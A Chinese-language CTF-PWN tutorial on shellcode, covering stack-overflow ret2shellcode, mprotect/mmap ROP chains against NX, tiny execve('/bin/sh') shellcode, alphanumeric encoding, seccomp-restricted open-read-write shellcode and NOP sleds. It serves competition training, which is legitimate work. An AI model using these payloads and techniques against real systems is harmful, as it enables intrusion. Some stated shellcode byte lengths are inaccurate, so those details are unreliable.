1. shellcode基础概念与实战价值
第一次接触CTF-PWN的选手看到shellcode这个词可能会觉得高大上,其实它就是一段能直接让CPU执行的机器码。想象你拿到一台被锁住的电脑,shellcode就像一把万能钥匙——通过精心构造的二进制指令,可以直接让系统乖乖听话。我在2015年参加某次线下赛时,就是靠一段27字节的shellcode逆袭拿下一血。
现代操作系统普遍采用NX(No-eXecute)保护机制,相当于给内存区域贴上了"禁止运行"的标签。但聪明的PWN手发现,只要找到标着"可执行"标签的内存区域(比如通过mprotect修改权限),就能把shellcode偷偷放进去执行。这里有个实用技巧:用vmmap命令查看内存权限时,重点关注带有"x"标记的区域。
2. 经典ret2shellcode实战详解
2.1 无保护场景下的直球攻击
先看这个典型场景:
// vuln.c char buf[256]; read(0, buf, 512); // 明显的栈溢出用checksec检查发现所有保护全关时,攻击就像玩填字游戏:
- 确定缓冲区的起始地址(比如0x7fffffffe000)
- 构造payload = shellcode + 填充字符 + 返回地址
- 把返回地址指向shellcode起始处
但实际比赛中这种"裸奔"题目越来越少,去年某高校校赛出了道变形题:程序在strcpy之后会随机修改shellcode前20个字节。我的解法是在shellcode开头插入20个nop指令(\x90),就像给子弹加了个缓冲垫。
2.2 突破NX保护的三种姿势
当遇到NX保护时,我常用的三板斧:
方法一:借用现成的可执行段
# 查找可执行段 readelf -l ./binary | grep 'R E' # 常见目标:.plt.sec, .init等 # 示例:利用程序自身的mprotect调用 payload = flat( pop_rdi_ret, 0x404000, # 地址 pop_rsi_ret, 0x1000, # 大小 pop_rdx_ret, 0x7, # RWX权限 mprotect_addr, shellcode_addr )方法二:ROP链调用mmap去年DEFCON某道题就要求用mmap开辟新战场:
# 申请新的可执行内存 rop.call(mmap, [ 0x1337000, # 建议地址 0x1000, # 大小 7, # PROT_READ|PROT_WRITE|PROT_EXEC 34, # MAP_PRIVATE|MAP_ANONYMOUS -1, # fd 0 # offset ])方法三:修改内存权限遇到有mprotect调用的题目就像中彩票:
# gdb验证权限变化 gdb-peda$ vmmap Before: 0x404000 0x405000 rw-p After: 0x404000 0x405000 rwxp3. 特殊场景下的shellcode变形术
3.1 空间极度受限时的微shellcode
今年某CTF出现了仅允许16字节输入的变态题目,我的解决方案:
; 8字节万能起手式 xor esi, esi push rsi ; 8字节后门激活 mov al, 0x3b syscall关键点在于利用现有寄存器状态,比如当rdi已经指向"/bin/sh"时,上述代码就能直接getshell。建议平时收集各种长度的shellcode模板,我常用的几个:
- 7字节:
push 0x3b; pop rax; syscall - 5字节:
mov al, 0x3b; syscall(需rax未使用)
3.2 可见字符shellcode的自动化生成
当遇到过滤非ASCII字符的题目时,推荐使用alpha3工具链:
# 生成字母数字混合shellcode echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" > input.bin python ALPHA3.py x86 ascii mixedcase rax --input=input.bin实测发现,生成的payload长度通常是原shellcode的3-4倍。去年某次比赛中,我不得不把execve("/bin/sh")改成execve("/sh")才满足长度限制。
3.3 逐字节写入的爆破技巧
遇到只能单字节写入的极端情况时,可以这样操作:
for i in range(len(shellcode)): p.send(chr(shellcode[i])) time.sleep(0.1) # 防止粘包配合jmp $+offset指令实现代码拼接。有个冷知识:x86的jmp指令opcode是\xeb,后面跟1字节的相对偏移量。
4. 现代沙箱环境下的生存之道
4.1 常见沙箱规则分析
用seccomp-tools检测时,我特别关注这些关键点:
# 检查是否禁用execve seccomp-tools dump ./pwn | grep execve 0003: 0x3b 0x00 0x00 0x00000000 A = arch 0004: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 000B ... 0013: 0x06 0x00 0x00 0x00000000 return KILL4.2 ORW技术深度优化
标准的open-read-write链可以这样优化:
# 使用寄存器复用减少指令数 shellcode = """ push 0x67616c66 # 'flag' mov rdi, rsp xor esi, esi mov al, 2 syscall /* open */ xchg edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall /* read */ mov edi, 1 mov eax, edi syscall /* write */ """实测比pwntools生成的代码短15%左右。注意栈对齐问题,有时候需要加个sub rsp, 8。
4.3 高级逃逸技术
当遇到全封闭沙箱时,可以尝试:
- 侧信道攻击:通过timing leak获取信息
- FSB+shellcode组合:用格式化字符串漏洞修改关键内存
- JIT喷射:在可写的JIT区域构造shellcode
某次真实比赛中,我通过修改ld.so的延迟绑定机制,成功绕过了所有保护。关键payload:
# 修改_dl_runtime_resolve的got表 payload = flat( pop_rdi_ret, got_addr, pop_rsi_ret, shellcode_addr, mov_rdi_rsi_ret )5. 实战中的疑难杂症处理
5.1 坏字符处理手册
遇到\x00截断时,可以:
- 使用
mov al, <value>代替mov eax, <value> - 用
xor ebx, ebx代替mov ebx, 0
当\x0a被过滤时(常见于read函数):
# 改用send代替sendline p.send(payload.ljust(0x100, b'\x90'))5.2 动态地址应对策略
对于ASLR开启的情况,我常用的三种方法:
- 栈喷:用大量nop滑梯提高命中率
payload = b'\x90'*1024 + shellcode p.send(payload) - 信息泄露:先泄露地址再构造二次攻击
- 部分覆写:针对地址低12位不变的特性
5.3 调试技巧汇编
GDB调试shellcode时,这些命令很实用:
# 查看内存中的shellcode x/30i $rip # 设置内存断点 b *0x7fffffffe010 # 检查寄存器状态 info reg rax rdi rsi遇到玄学问题时,记得检查:
- 栈是否16字节对齐
- 系统调用号是否正确(32位和64位不同)
- 字符串结束符位置
6. 武器库建设与训练建议
我的shellcode工具箱里常年备着这些资源:
- 微型shellcode集合:按长度和功能分类存储
- 编码转换工具:用于处理各种字符限制
- 沙箱检测脚本:快速识别禁用系统调用
建议每天练习:
- 用不同方式实现同一功能(如打开文件)
- 尝试在越来越小的空间内完成getshell
- 模拟各种过滤条件编写shellcode
有次为了写出28字节的TCP反向shell,我花了整整三天反复优化寄存器分配。最终方案比网上公开的版本短了6个字节,这种成就感比拿到flag还爽。